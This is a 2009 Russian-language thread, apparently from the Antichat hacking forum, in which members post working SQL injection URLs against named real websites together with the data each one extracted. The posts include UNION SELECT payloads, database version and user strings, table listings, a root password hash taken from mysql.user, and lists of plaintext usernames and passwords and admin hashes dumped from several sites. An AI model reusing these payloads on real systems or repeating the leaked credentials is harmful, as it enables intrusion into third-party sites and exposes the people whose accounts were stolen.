Войти или зарегистрироваться
Выберите удобный способ — аккаунт создастся автоматически.
Или войдите по логину и паролю
 |
|
19.05.2009, 22:20
|
|
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 580
С нами:
9030566
Репутация:
2017
|
|
Ого скока уже накидали пока я в запое был суточном ))))ну что поехали
PR: 5
http://www.mondopop.it/news_view_iuk.php?id=-1+union+select+1,ver sion(),3,4,5, 6,7,8,9,10--
5.0.68-log
http://www.mondopop.it/news_view_iuk.php?id=-1+union+select+1,grou p_concat(table_name),3,4,5,6,7,8,9,10+from+informa tion_schema.tables+group +by+table_schema+limit+1,1 --
tables :
about,commenti_iuk,items,order_list,users_prova,ad min,country,kind,press,video,artist,editoriale,new s,users, commenti,exhibitions,news_iuk,users_press
http://www.mondopop.it/news_view_iuk.php?id=-1+union+select+1,group_conca t(concat_ws(0x3a,nick,pa ss)),3,4,5,6,7,8,9,10+from+use rs--
edinho:312630,maccu  ivovarna,keith82:keith82,silv ietta01:salento12,lozoodisimona:coccinella,alex-kama:kama1979,Mondovullo:mondopopchihiro,chicca:zu cchi81,bricius:carmillo,hero:rastapower,sofisoul:c ourmayeur,silvietta:salento12,Elisa:180276,bannann a:anna1126,travismanna:06021959,mohabadel:souris,d iavu:sofia,dragoorione:buruburu,Kite77:artura,magi c_mushroom asta123,crazy_luna:ilenia,Bongload:123 45678,ara:haraldone,steve:joejoe35,DocRaspa:181280 ,elMoro:nirvana81,giorgia:bernie,nikoka:netgear,36 68gabriele:giammone,fup1 ippopippopop,mediaformat :mediaformat,T.U.B.E.:theurban,Akiko:tamachan,Ging er innilinni,il7:sbrachetto,LINOandMIA:barvo,samm y rovaciancorasam1,mattteo:massacro23,snob:12345f ,deanpe:robyno69,chilucy:chilucy,jacques:yoyoyo79, lodeaustria:suministro,cla:dadamondopop,A Beatiful Ignorant Blond:blond86,Ironmould:dod77pop,bonkiettina:29048 0l,zuza_matuza:recfrbyf,gra:cerbiatto77,Bernie:son y444,frankie:KaPpy,Vocintesta:matteo1,fra:KaPpy
##########################################
PR: 2
http://www.greenparksystem.it/eng/prodotti2.php?id=-1+union+select+1,2,concat_ws(0x3a,u ser(),database(),versio n()),4,5,6,7,8--
greenpark@localhost:greenpark:4.1.21
Последний раз редактировалось HAXTA4OK; 19.05.2009 в 22:31..
|
|
|
19.05.2009, 23:38
|
|
Постоянный
Регистрация: 29.01.2009
Сообщений: 333
С нами:
9095366
Репутация:
298
|
|
http://www.rateshops.ru/shops.php?fil=&cid=-130+union+select+1,concat_ws(0x3a,version(),user() ,database()),3,4
5.0.22:us5167f@localhostivomani_shops
http://www.rateshops.ru/shops.php?fil=&cid=-130+union+select+1,TABLE_NAME,3,4+from+information _schema.tables+limit+50,1
Пробуем обратиться к: mysql.user
http://www.rateshops.ru/shops.php?fil=&cid=-130+union+select+1,Password,3,4+from+mysql.user+wh ere+User=0x726F6F74
Получаем: Illegal mix of collations (cp1251_general_ci,IMPLICIT) and (latin1_bin,IMPLICIT) for operation 'UNION'
ммм, несоответсвие кодировок. закодируем пароль в .. ну например в hex
http://www.rateshops.ru/shops.php?fil=&cid=-130+union+select+1,hex(Password),3,4+from+mysql.us er+where+User=0x726F6F74
получаем: 31666466326136313036646134646139
преобразовываем обратно: 1fdf2a6106da4da9
Сайт по началу произвел нормальное впечатление, аккуратный, наполненый, но практически в каждом скрипте уязвим к SQL-INJ...
по показателям, сайт нулевой...
ещё один сайт, нулевой, просто ради опыта...
http://stistroy.ru/site.php?id=-4+union+select+1,concat_ws(0x3a,version(),database (),user()),3,4,5,6,7,8
5.0.67-log:u149824:u149824@10.10.153.196
через information_schema.tables можно посмотреть какие таблицы есть, но ничего интересного нет. да и сайт пустой.
http://www.proherm.ru/site.php?id=-3+union+select+1,concat_ws(0x3a,version(),database (),user()),3,4,5,6,7,8
4.1.22-log:wwwprohermruroherm@fe42.hc.ru
http://www.proherm.ru/site.php?id=-3+union+select+1,login,3,4,5,6,7,8+from+accounts+l imit+1,1
login: proherm
но потом оказалось, что это не нужно, нашел:
http://www.proherm.ru/a/
где всё доступно и без паролей.
http://www.valdis.net.ru/site.php?id=-433+union+select+1,2,3,4,5,6,7,8,9,concat_ws(0x3a, version(),database(),user()),11,12,13,14,15,16,17
5.0.77-community:valdis_valdis:valdis_valdis@localhost
http://www.valdis.net.ru/site.php?id=-433+union+select+1,2,3,4,5,6,7,8,9,TABLE_NAME,11,1 2,13,14,15,16,17+from+information_schema.tables+li mit+20,1
с 17 до 20 есть таблицы, с юзерами ничего не связано.
ТИЦ 50, PR 1
Последний раз редактировалось AlexSatter; 20.05.2009 в 00:20..
|
|
|
|
20.05.2009, 07:36
|
|
Познающий
Регистрация: 05.11.2008
Сообщений: 92
С нами:
9217595
Репутация:
149
|
|
Код:
http://www.tdnovator.com/item.php?division=2&id=-280+union+select+1,2,3,4,5,6,7,8,9,cast(concat_ws(0x3a,version(),database(),user())+as+binary),11,12,13,14,15,16,17,18--
4.1.13a-nt-max-log:1gb_tdnovatordb:1gb_tdnovatordb@10.0.1.8
Последний раз редактировалось jokester; 20.05.2009 в 11:31..
Причина: rsvp.com БОЯН
|
|
|
|
20.05.2009, 11:24
|
|
Reservists Of Antichat - Level 6
Регистрация: 12.06.2008
Сообщений: 157
С нами:
9428066
Репутация:
1668
|
|
[PR 5]
Код:
http://www.svoa.co.th/product_info.php?id=-70237+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10,11,12,13,14,15,16--
4.0.15a-log:svoaweb:root@172.17.10.14
[PR 3]
Код:
http://www.pakman.com.ru/product_info.php?id=-125+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8--
4.1.22-standard-log:pakmanc_pakman:pakmanc_pakman@localhost
[PR 0]
Код:
http://rmshop.ru/product_info.php?id=1+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10,11,12--
4.1.22-log:wwwprinterovnet:printero@localhost
[PR 0]
Код:
http://www.valvesmanufacturer.cn/product_info.php?id=149+union+select+1,2,3,concat_ws(0x3a,version(),database(),user()),5,6,7,8,9,10--
4.1.16-nt:glb1:glb1@bizcn-w85
[PR 0]
Код:
http://printerov.net/product_info.php?id=-40+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10,11,12--
4.1.22-log:wwwprinterovnet:printero@localhost
[PR 0]
Код:
http://printmag.ru/product_info.php?id=-211+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10,11,12--
4.1.22-log:wwwprinterovnet:printero@localhost
|
|
|
|
20.05.2009, 11:42
|
|
Познающий
Регистрация: 06.03.2007
Сообщений: 59
С нами:
10095779
Репутация:
137
|
|
_http://www.energyflashrecords.co.uk/catalogue/title.phtml?product_id=-24946+union+select+1,2,3,4,concat_ws(0x3a,version( ),database(),user()),6,7,8,9,0,1,2,3,4,5,16+--
5.0.67-community:wiz_system:wiz_system@localhost
_http://www.webtrafficpromotions.com/product_detail.php?cid=3&pid=-5+union+select+1,concat_ws(0x3a,version(),database (),user()),3,4,5,6,7,8,9,0,1,2,3,4,5,6--
5.0.77-community:webtraff_wtp1013:webtraff_wtp1013@localh ost
Последний раз редактировалось jokester; 20.05.2009 в 12:35..
Причина: ОБЪЕДИНЯЙ ПОСТЫ
|
|
|
|
20.05.2009, 15:23
|
|
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 580
С нами:
9030566
Репутация:
2017
|
|
http://www.e-n.it/index.php?id=1&lg=it&nav=0&art=-15709+union+select +1,2,3,4,5,6,7,8,9, version() ,11,12,13,14 --
5.0.68-log
http://www.e-n.it/index.php?id=1&lg=it&nav=0&art=-15709+uni on+select+1,2,3,4,5,6,7,8,9,group_concat(table_nam e),11,12,13,14+ from+information_schema.tables+group+by+table_sche ma+l imit+3,1--
там куча таблов))))через лимит сморите)
Последний раз редактировалось HAXTA4OK; 20.05.2009 в 15:37..
|
|
|
|
20.05.2009, 15:34
|
|
Познающий
Регистрация: 07.05.2009
Сообщений: 31
С нами:
8954296
Репутация:
96
|
|
Mysgl
http://www.jambi.net/berita.php?view=detail&id=-28+union+select+1,version(),3,4,5,6,7,8,9,10,11--
Access denied for user 'jambi_henky'@'localhost' (using password: YES) in
Access denied for user 'jambi'@'localhost' (using password: NO) in
http://partungkoan.com/berita.php?view=detail&id=-28+union+select+1,version(),3,4,5,6,7,8,9,10,11--
http://www.sman1berastagi.sch.id/berita.php?view=detail&id=-28+union+select+1,version(),3,4,5,6,7,8,9,10,11--
Access denied for user 'land_landsmile'@'localhost' (using password: YES) in /
|
|
|
|
20.05.2009, 15:37
|
|
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 580
С нами:
9030566
Репутация:
2017
|
|
http://www.imvtours.it/destinazioni.php?id=-1+uni on+select+1,2,ver sion()--
5.0.68-log
tables:
imv_agenzie,imv_destinazioni_cataloghi,imv_hotels, imv_pagine,imv_visual,
imv_cataloghi,imv_destinazioni_hotels,imv_link,imv _province,imv_curriculum,
imv_galleria,imv_newsletter_subscriber,imv_session i,imv_destinazioni,imv_homepage,imv_offerte,imv_ut enti
user tables: imv_utenti
users:
root:45c82027a4b39a24b8f91f86103eb741,admin:b49645 e33600a00808c51f5a0524db09,marco:c526eb06433395f66 61824dc8f43c3dc
|
|
|
|
20.05.2009, 15:51
|
|
Участник форума
Регистрация: 10.06.2008
Сообщений: 201
С нами:
9431076
Репутация:
229
|
|
PR3
http://www.altromolise.it/notizia.php?argomento=cronaca&articolo=-38385+union+select+1,2,3,4,5,6,concat(version(),ch ar(58),database(),char(58),user()),8,9,10,11,12,13 ,14,15,16,17,18,19,20--
4.0.30-standard-log:Sql11522_4:Sql11522@62.149.141.27
admins:
gianluca:mussolini
redazione: piccola
sandro:nove17
|
|
|
|
20.05.2009, 16:10
|
|
Участник форума
Регистрация: 17.09.2008
Сообщений: 211
С нами:
9288132
Репутация:
571
|
|
Код:
http://europosuda.ru/shop/index.php?CID=-1+uniOn+Select+1,concat(login,0x3a,password)+from+ssrusers--
|
|
|
|
|
|
|
Предыдущая тема
Следующая тема
|
Здесь присутствуют: 3 (пользователей: 0 , гостей: 3)
|
|
|
|
Линейный вид
